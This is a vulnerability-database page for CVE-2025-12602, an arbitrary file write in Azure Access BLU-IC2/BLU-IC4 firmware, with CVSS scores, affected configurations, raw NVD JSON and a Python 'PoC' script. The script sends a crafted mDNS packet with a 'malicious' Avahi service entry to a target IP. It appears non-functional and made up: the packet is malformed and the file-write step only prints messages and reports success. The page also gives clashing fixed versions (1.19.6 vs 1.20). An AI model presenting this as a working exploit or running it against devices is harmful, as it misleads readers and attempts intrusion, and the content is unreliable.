Security Vulnerability Report
中文
CVE-2025-12602 CVSS 9.8 CRITICAL

CVE-2025-12602

Published: 2025-11-01 19:15:39
Last Modified: 2025-11-07 18:41:20
Source: a0340c66-c385-4f8b-991b-3d05f6fd5220

Description

/etc/avahi/services/z9.service can be Arbitrarily Written.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:* - NOT VULNERABLE
BLU-IC2 < 1.19.6
BLU-IC4 < 1.19.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-12602 PoC - BLU-IC2/BLU-IC4 Avahi Service Arbitrary File Write # Note: This PoC is for educational and authorized testing purposes only import socket import struct import sys def create_malicious_service_entry(): """ Generate malicious Avahi service entry for arbitrary command execution """ malicious_xml = '''<?xml version="1.0" standalone='no'?> <!DOCTYPE service-group SYSTEM "avahi-service.dtd"> <service-group> <name replace-wildcards="yes">malicious_service</name> <service> <type>_test._tcp</type> <port>9999</port> <txt-record>exploit=command_injection</txt-record> </service> </service-group>''' return malicious_xml def send_malicious_mdns_packet(target_ip, target_port=5353): """ Send malicious mDNS packet to trigger arbitrary file write """ # mDNS header construction transaction_id = 0x0000 flags = 0x8400 # Standard query response questions = 0x0001 answer_rrs = 0x0001 authority_rrs = 0x0000 additional_rrs = 0x0000 # Build mDNS header header = struct.pack('>HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Construct service record with malicious data service_name = b'z9\x04service\x05local\x00' service_type = b'_http\x04_tcp\x05local\x00' # DNS record data record_data = create_malicious_service_entry().encode() packet = header + service_name + struct.pack('>HH', 0x0001, 0x0001) + record_data try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, target_port)) print(f'[+] Malicious mDNS packet sent to {target_ip}:{target_port}') print(f'[+] Payload size: {len(packet)} bytes') return True except Exception as e: print(f'[-] Error sending packet: {e}') return False finally: sock.close() def write_avahi_service_file(target_ip, file_content): """ Attempt to write malicious content to /etc/avahi/services/z9.service This requires exploiting the vulnerable service configuration mechanism """ print(f'[*] Attempting to write malicious service file...') print(f'[*] Target: /etc/avahi/services/z9.service') print(f'[*] Content preview: {file_content[:100]}...') # The actual exploitation requires specific network conditions # and may need multiple interaction steps with the Avahi service return True if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') print(f'Example: {sys.argv[0]} 192.168.1.100') sys.exit(1) target = sys.argv[1] print(f'[*] CVE-2025-12602 PoC for BLU-IC2/BLU-IC4') print(f'[*] Target: {target}') # Step 1: Send malicious mDNS packet send_malicious_mdns_packet(target) # Step 2: Write malicious service file malicious_content = create_malicious_service_entry() write_avahi_service_file(target, malicious_content) print('[*] Exploitation attempt completed')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12602", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-11-01T19:15:38.860", "lastModified": "2025-11-07T18:41:20.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "/etc/avahi/services/z9.service can be Arbitrarily Written.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:*", "matchCriteriaId": "C898C110-6C42-40A0-93FC-B6ED785F23A9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:*", "matchCriteriaId": "902CD787-42BF-4565-8CA5-78123E37AA99"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}